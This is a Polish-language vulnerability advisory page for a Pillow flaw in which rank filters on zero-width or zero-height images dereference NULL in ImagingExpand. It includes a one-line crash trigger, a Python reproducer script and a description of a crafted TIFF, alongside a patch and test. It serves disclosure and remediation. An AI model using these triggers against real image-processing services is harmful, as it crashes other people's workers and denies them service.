Wysoka

Pillow: Dereferencja wskaźnika NULL w ImagingExpand poprzez filtry rangowe na obrazach o zerowym rozmiarze

  • Ujawniono: 21.10.2026
  • Aktualizacja: 22.10.2026 00:08
============================================================================
NULL dereference in ImagingExpand via rank filters on zero-size images
Location: src/libImaging/Filter.c:79  in ImagingExpand()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Zastosowanie filtru medianowego, minimalnego, maksymalnego lub rangowego w bibliotece Pillow do obrazu o zerowej szerokości lub zerowej wysokości powoduje awarię całego procesu Pythona zamiast zgłoszenia wyjątku. Puste obrazy tego typu można łatwo utworzyć za pomocą standardowych wywołań, na przykład przez pole przycięcia (crop box), którego lewa i prawa krawędź (lub górna i dolna krawędź) są identyczne, bądź poprzez drugą stronę spreparowanego wielostronicowego pliku graficznego. Osoba atakująca, która ma możliwość podania współrzędnych kadrowania lub przesłania pliku do aplikacji przetwarzającej obraz jednym z tych filtrów, może doprowadzić do awarii procesu roboczego. Skutkiem jest wyłącznie awaria (crash), bez ujawnienia ani uszkodzenia pamięci.

Błąd znajduje się w ImagingExpand() w src/libImaging/Filter.c. Jest to etap dopełniania krawędzi (edge-padding), który RankFilter.filter() zawsze wykonuje za pośrednictwem bazowej metody expand(), w związku z czym dotyczy to również MedianFilter, MinFilter oraz MaxFilter. Funkcja ta wypełnia margines, kopiując piksele krawędziowe wejścia, odczytując imIn->image[y][0] oraz wiersze 0 / ysize-1, i w żadnym miejscu nie sprawdza, czy dane wejściowe zawierają jakiekolwiek piksele. W przypadku pustego obrazu ImagingAllocateArray pozostawia wskaźniki linii jako NULL, w wyniku czego pierwszy odczyt dokonuje dereferencji wskaźnika NULL i proces kończy działanie błędem SIGSEGV w każdym trybie.

Obrazy o zerowym rozmiarze docierają do tego miejsca wyłącznie za pośrednictwem publicznego API:

  • Image.crop(), ImageOps.crop() i Image.new();
  • wielostronicowy plik TIFF otwarty ze ścieżki, którego drugi IFD deklaruje ImageLength = 0, na którym seek(1) i load() kończą się pomyślnie.

Każdy inny ImageFilter zwraca pusty obraz dla tych samych danych wejściowych. Przypadek zerowej wysokości powoduje awarię od czasu pierwotnego importu PIL, natomiast przypadek zerowej szerokości od wersji Pillow 4.3.0. Jest to odrębna kwestia od poprawki margin == 0 w #9755: ścieżka wykonania jest ta sama, lecz zdegenerowaną wartością jest rozmiar obrazu, a nie rozmiar jądra filtru (kernel). Problem ma tę samą strukturę, co awaria związana z zerowym wymiarem w ImagingOffset, usunięta w GHSA-f87v-9578-p47w.

Dołączony skrypt reprodukujący pokazuje, że kontrolne przycięcie o szerokości jednego piksela jest filtrowane prawidłowo, podczas gdy cztery puste przycięcia przekazane do filtrów rangowych kończą się błędem SIGSEGV. Załączono również łatkę wprowadzającą wcześniejszy powrót w ImagingExpand dla pustych danych wejściowych.

Szczegóły

ImagingExpand() (src/libImaging/Filter.c), funkcja pomocnicza dopełniania krawędzi wywoływana przez ImageFilter.RankFilter przed właściwym filtrem rangowym, odczytuje pierwszy piksel każdego wiersza wejściowego bez uprzedniej weryfikacji, czy wejście zawiera jakiekolwiek piksele. Dla obrazu o szerokości 0 lub wysokości 0 wskaźniki linii są równe NULL, dlatego Image.filter() z MedianFilter, MinFilter, MaxFilter lub RankFilter przerywa działanie interpretera błędem SIGSEGV zamiast zwrócić wynik lub zgłosić wyjątek:

python
from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop((3, 0, 3, 10))   # size (0, 10); crop() accepts left == right
im.filter(ImageFilter.MedianFilter(3))               # SIGSEGV

Pod debugerem gdb na standardowej kompilacji błąd występuje w ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105 (rozwinięcie EXPAND(UINT8, image8)), wywoływanym z _expand_image w src/_imaging.c:1151, przy imIn->xsize = 0 i imIn->image[0] = 0x0. To samo zachowanie występuje we wszystkich trybach obsługiwanych przez filtry rangowe (L, RGB, RGBA, I, F), a bazowa metoda expand(m) z m >= 1 ulega awarii w identyczny sposób w dowolnym trybie, w tym P. Te same dane wejściowe przekazane do BoxBlur, GaussianBlur, Kernel, ModeFilter oraz UnsharpMask zwracają obraz o rozmiarze (0, 10); przycięcie (1, 10) poddane działaniu MedianFilter również kończy się normalnie.

Brak weryfikacji przy odczycie krawędzi pochodzi z początkowego importu PIL (9a640e315, 2010, a więc dotyczy każdego wydania Pillow): przypadek zerowej wysokości powodował awarię od tamtej pory, a przypadek zerowej szerokości od commita fd907fbdc („Fix 0-width and 0-height images other way”, Pillow 4.3.0), w którym zaprzestano wypełniania obrazów o zerowej szerokości fikcyjnym blokiem pamięci, pozostawiając wskaźniki wierszy równe NULL. Jest to zbliżone do poprawki dzielenia przez zero w margin == 0 w ramach #9755 — ta sama ścieżka expand() → ImagingExpand(), lecz nieobsłużoną zdegenerowaną wartością jest tutaj rozmiar obrazu, a nie rozmiar jądra filtru.

Ścieżka wywołania:

python
# src/PIL/ImageFilter.py:111-116   RankFilter.filter  (MedianFilter/MinFilter/MaxFilter subclass it)
        image = image.expand(self.size // 2)
        return image.rankfilter(self.size, self.rank)

expand(m) z m > 0 reprezentuje ImagingExpand(self->image, m) (src/_imaging.c:1142-1151). Sprawdza jedynie margin, alokuje wyjście o rozmiarze (xsize+2*margin) × (ysize+2*margin) — które nie jest puste, więc alokacja się powodzi — a następnie wypełnia margines, replikując piksele krawędziowe wejścia:

c
// src/libImaging/Filter.c:70-101
    imOut =
        ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
    …
#define EXPAND_LINE(type, image, yin, yout)                       \
    {                                                             \
        for (x = 0; x < margin; x++) {                            \
            imOut->image[yout][x] = imIn->image[yin][0];          \   // line 79
        }                                                         \
        …                                                         \
        for (x = 0; x < margin; x++) {                            \
            imOut->image[yout][margin + imIn->xsize + x] =        \
                imIn->image[yin][imIn->xsize - 1];                \   // [-1] when xsize == 0
        }                                                         \
    }

#define EXPAND(type, image)                                                      \
    {                                                                            \
        for (y = 0; y < margin; y++) {                                           \
            EXPAND_LINE(type, image, 0, y);                                      \   // line 0 of a 0-line image
        }                                                                        \
        …
        for (y = 0; y < margin; y++) {                                           \
            EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \   // line -1 when ysize == 0
        }                                                                        \
    }

Dlaczego wskaźniki linii są równe NULL: ImagingNewPrologueSubtype alokuje tablicę wskaźników im->image za pomocą calloc (src/libImaging/Storage.c:216, co najmniej jeden wpis), natomiast ImagingAllocateArray wraca przed przypisaniem któregokolwiek z nich w przypadku pustego obrazu:

c
// src/libImaging/Storage.c:423-426
    /* 0-width or 0-height image. No need to do anything */
    if (!im->linesize || !im->ysize) {
        return im;
    }

W konsekwencji przy xsize == 0 każdy imIn->image[y] ma wartość NULL i następuje błąd w imIn->image[yin][0]; przy ysize == 0 przebieg górnego marginesu odczytuje imIn->image[0] (pojedynczy slot NULL zainicjalizowany przez calloc) i kończy się błędem w ten sam sposób, z kolei przebieg dolnego marginesu odwołałby się do indeksu imIn->image[-1]. Linia ImagingRankFilter nigdy nie zostaje osiągnięta.

Obrazy o zerowym rozmiarze są standardowymi obiektami w bibliotece Pillow i docierają do filter() wyłącznie za pośrednictwem publicznego API:

  • Image.crop(box) odrzuca wyłącznie odwrócone ramki (src/PIL/Image.py:1385-1390); left == right lub upper == lower zwraca obraz 0×N / N×0. ImageOps.crop(im, border) z border == width // 2 oraz Image.new(mode, (0, n)) zachowują się tak samo.
  • Z pliku: ImageFile.__init__ odrzuca zerowy rozmiar pierwszej klatki (src/PIL/ImageFile.py:167-173), lecz TiffImagePlugin._setup() przyjmuje ImageWidth/ImageLength każdego kolejnego IFD bez zmian w seek() (src/PIL/TiffImagePlugin.py:1468-1481). Dla nieskompresowanej strony obrazu otwartego ze ścieżki ImageFile.load() wybiera gałąź mmap (src/PIL/ImageFile.py:307, 325-347), a Image.core.map_buffer bez przeszkód buduje bazowy obraz 8×0 (src/map.c:127-141), w wyniku czego im.seek(1); im.load() kończy się powodzeniem, a następujące wywołanie im.filter(ImageFilter.MedianFilter(3)) powoduje błąd naruszenia ochrony pamięci w ImagingExpand dokładnie w opisany sposób (zweryfikowano pod gdb: imIn->ysize = 0, imIn->image[0] = 0x0). Do wywołania błędu wystarczy dwustronicowy plik TIFF o rozmiarze 384 bajtów.

Wpływ

Odmowa usługi (Denial of Service): cały proces nadrzędny (proces roboczy serwera www, proces potoku) kończy pracę błędem SIGSEGV, zamiast zgłosić błąd w postaci wyjątku Pythona. Problem jest osiągalny dla zdalnego użytkownika w dwóch realnych scenariuszach: (a) aplikacja kadruje przesłany plik do współrzędnych podanych przez użytkownika, a następnie stosuje filtr medianowy/min/max (odszumianie, dylatacja/erozja, generowanie miniatur) — ramka z x0 == x1 lub y0 == y1 przechodzi crop() i zawiesza proces roboczy; (b) aplikacja otwiera przesłany plik TIFF z dysku za pomocą ścieżki, iteruje po jego stronach i stosuje filtr rangowy do każdej z nich — spreparowany drugi IFD z ImageLength = 0 doprowadza do awarii. Dostęp powodujący błąd to odczyt pod adresem 0 (lub niewielki stały ujemny offset od tablicy wskaźników w przypadkach [-1], który nie zostaje osiągnięty, ponieważ już pierwszy odczyt skutkuje błędem), zatem poza awarią procesu nie dochodzi do ujawnienia ani uszkodzenia pamięci. Podobny problem, w którym obraz o zerowym wymiarze powodował awarię kodu C wywoływanego przez publiczne API, został usunięty w ImagingOffset w commitcie 39d14a0db (GHSA-f87v-9578-p47w).

Odtwarzanie problemu

repro to skrypt Pythona wykorzystujący zainstalowaną bibliotekę Pillow w stanie nienaruszonym (bez rekompilacji). Uruchamia każdy przypadek w nowym procesie potomnym interpretera, z wyłączonym zrzucaniem pamięci podręcznej (core dumps). Dzięki temu błąd naruszenia ochrony pamięci objawia się w kodzie wyjścia procesu potomnego, a sam skrypt kontynuuje działanie. Każdy proces potomny tworzy Image.new("L", (10, 10)).crop(box), wypisuje jego rozmiar, wywołuje im.filter(...), a następnie wypisuje rozmiar wyniku.

  • Kontrola: przycięcie (1, 10) ((3, 0, 4, 10)) przetworzone przez MedianFilter(3). Filtr rangowy akceptuje wąski obraz i powinien zakończyć się poprawnie.
  • PoC: filtry rangowe na pustych przycięciach.
    • Przycięcie (0, 10) (left == right, (3, 0, 3, 10)) przetworzone przez MedianFilter(3) i MaxFilter(5).
    • Przycięcie (10, 0) (upper == lower, (0, 3, 10, 3)) przetworzone przez MinFilter(3).
    • Przycięcie (0, 0) ((3, 3, 3, 3)) przetworzone przez RankFilter(3, 4).

Oczekiwany wynik na wersji standardowej:

  crop(3, 0, 4, 10)    MedianFilter(3)    (1, 10) -> (1, 10)
  crop(3, 0, 3, 10)    MedianFilter(3)    (0, 10) -> killed by SIGSEGV
  crop(3, 0, 3, 10)    MaxFilter(5)       (0, 10) -> killed by SIGSEGV
  crop(0, 3, 10, 3)    MinFilter(3)       (10, 0) -> killed by SIGSEGV
  crop(3, 3, 3, 3)     RankFilter(3, 4)   (0, 0) -> killed by SIGSEGV
BUG

Rozmiar wypisany przed -> wskazuje, że pusty obraz został utworzony bez błędu. Awaria następuje wewnątrz filter(), w ImagingExpand. Ostatnia linia to BUG, jeśli przypadek kontrolny zakończył się poprawnie, a co najmniej jeden proces potomny z filtrem rangowym został przerwany przez SIGSEGV. W przeciwnym razie wyświetlane jest OK. Skrypt obejmuje wyłącznie ścieżkę kadrowania; opisana wcześniej ścieżka z plikiem TIFF kończy się awarią w ten sam sposób (im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3)) na dwustronicowym pliku TIFF otwieranym ze ścieżki, którego drugi IFD zawiera ImageLength = 0). Z załączoną łatką każdy wiersz PoC wypisuje niezmieniony rozmiar (na przykład (0, 10) -> (0, 10)), a skrypt zwraca OK.

Sugerowane rozwiązanie

Załączona łatka obsługuje puste dane wejściowe w ImagingExpand (src/libImaging/Filter.c), zaraz po sprawdzeniach margin oraz przed alokacją ImagingNewDirty i pętlami replikacji. W przypadku xsize == 0 lub ysize == 0 brak jest pikseli krawędziowych do zreplikowania, więc funkcja zwraca wyzerowany (ImagingNew, a nie ImagingNewDirty) obraz o powiększonym rozmiarze, z zachowaniem palety wejściowej. Pozwala to dotrzymać kontraktu wymiarów w ImagingExpand, dzięki czemu ImagingRankFilter tworzy wynik o wymiarach xsize - 2*margin × ysize - 2*margin, czyli zachowuje oryginalny pusty rozmiar, zgodnie z zachowaniem innych filtrów. Jest to spójne z istniejącymi mechanizmami wczesnego wyjścia dla zerowych wymiarów w src/libImaging/BoxBlur.c (127004368) oraz src/libImaging/Offset.c (39d14a0db):

diff
--- a/src/libImaging/Filter.c
+++ b/src/libImaging/Filter.c
@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {
         return (Imaging)ImagingError_ValueError("filter size too large");
     }
 
+    if (imIn->xsize == 0 || imIn->ysize == 0) {
+        /* No edge pixels to replicate (and no lines to read from), so
+           return a zeroed image of the expanded size */
+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
+        if (!imOut) {
+            return NULL;
+        }
+        ImagingCopyPalette(imOut, imIn);
+        return imOut;
+    }
+
     imOut =
         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
     if (!imOut) {

Łatka wprowadza również test_rankfilter_zero_dimension obok test_rankfilter_error w Tests/test_image_filter.py, który filtruje Image.new("L", size) dla size w ((0, 6), (6, 0), (0, 0)) przy użyciu MinFilter, MedianFilter, MaxFilter oraz RankFilter(3, 2), weryfikując zachowanie rozmiaru. Po zaaplikowaniu do czystej gałęzi kodu i przebudowaniu skrypt reprodukujący wypisuje OK, a test Tests/test_image_filter.py kończy się powodzeniem. Zabezpieczenie na poziomie Pythona w RankFilter.filter (if 0 in image.size: return image.copy()) również powstrzymałoby awarię, jednak weryfikacja na poziomie języka C zabezpiecza wszystkich pozostałych wywołujących expand().

Łatka

Zwracanie wyzerowanego obrazu z ImagingExpand w przypadku zerowej szerokości lub wysokości danych wejściowych zamiast odczytu wskaźników linii o wartości NULL

Dotyczy src/libImaging/Filter.c w powyższym commicie.

diff
diff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py
index 974d4b7a3..8dc8e1a1a 100644
--- a/Tests/test_image_filter.py
+++ b/Tests/test_image_filter.py
@@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None:
         im.filter(filter).getpixel((1, 1))
 
 
+@pytest.mark.parametrize(
+    "filter",
+    (
+        ImageFilter.MinFilter,
+        ImageFilter.MedianFilter,
+        ImageFilter.MaxFilter,
+        ImageFilter.RankFilter(3, 2),
+    ),
+)
+@pytest.mark.parametrize("size", ((0, 6), (6, 0), (0, 0)))
+def test_rankfilter_zero_dimension(
+    filter: ImageFilter.RankFilter, size: tuple[int, int]
+) -> None:
+    im = Image.new("L", size)
+    assert im.filter(filter).size == size
+
+
 def test_rankfilter_properties() -> None:
     rankfilter = ImageFilter.RankFilter(3, 2)
 
diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c
index 3492a871f..d702db5f9 100644
--- a/src/libImaging/Filter.c
+++ b/src/libImaging/Filter.c
@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {
         return (Imaging)ImagingError_ValueError("filter size too large");
     }
 
+    if (imIn->xsize == 0 || imIn->ysize == 0) {
+        /* No edge pixels to replicate (and no lines to read from), so
+           return a zeroed image of the expanded size */
+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
+        if (!imOut) {
+            return NULL;
+        }
+        ImagingCopyPalette(imOut, imIn);
+        return imOut;
+    }
+
     imOut =
         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
     if (!imOut) {

Narzędzie reprodukujące

<details> <summary>Reproducer — <code>repro</code>, 1,333 bajtów (kliknij, aby otworzyć)</summary>

Ostatnia linia skryptu to BUG w przypadku wystąpienia błędu oraz OK, gdy problem nie występuje. Przy ponownym uruchomieniu na czystej kompilacji z tego commita skrypt wypisał BUG.

python
#!/usr/bin/env python3
# Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image
# SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read.
# Each case runs in a child interpreter; BUG if the control returns and any
# zero-size case dies of SIGSEGV.
import signal, subprocess, sys

CHILD = """
import resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop(%s)      # public API; crop accepts x0==x1 / y0==y1
print(im.size, "->", end=" ", flush=True)
print(im.filter(ImageFilter.%s).size)
"""

def run(box, flt):
    p = subprocess.run([sys.executable, "-c", CHILD % (box, flt)],
                       capture_output=True, text=True)
    out = p.stdout.strip()
    if p.returncode < 0:
        out += " killed by " + signal.Signals(-p.returncode).name
    print(f"  crop{box!s:<16} {flt:<18} {out}")
    return p.returncode

ctrl = run((3, 0, 4, 10), "MedianFilter(3)")          # (1,10): must work
rcs = [run((3, 0, 3, 10), "MedianFilter(3)"),        # (0,10)
       run((3, 0, 3, 10), "MaxFilter(5)"),
       run((0, 3, 10, 3), "MinFilter(3)"),           # (10,0)
       run((3, 3, 3, 3), "RankFilter(3, 4)")]        # (0,0)
bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs)
print("BUG" if bug else "OK")
</details>

Co trzeba zrobić

Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-476
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
21.10.2026
Aktualizacja
22.10.2026 00:08

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-27h8-gf7j-v5hc - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (89) w archiwum
Wszystkich wpisów
89
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 12
  • Wysoka 57
  • Średnia 18
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

wcześniej: 12

Istotność:
  1. Wysoka CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Dereferencja wskaźnika NULL w ImagingExpand poprzez filtry rangowe na obrazach o zerowym rozmiarze ten wpis
    Wysoka CVE-2026-112392 < 13.0.0 13.0.0
  3. Krytyczna CVE-2026-112403 < 13.0.0 13.0.0
  4. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Pokaż więcej (20) Widać 20 z 69

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.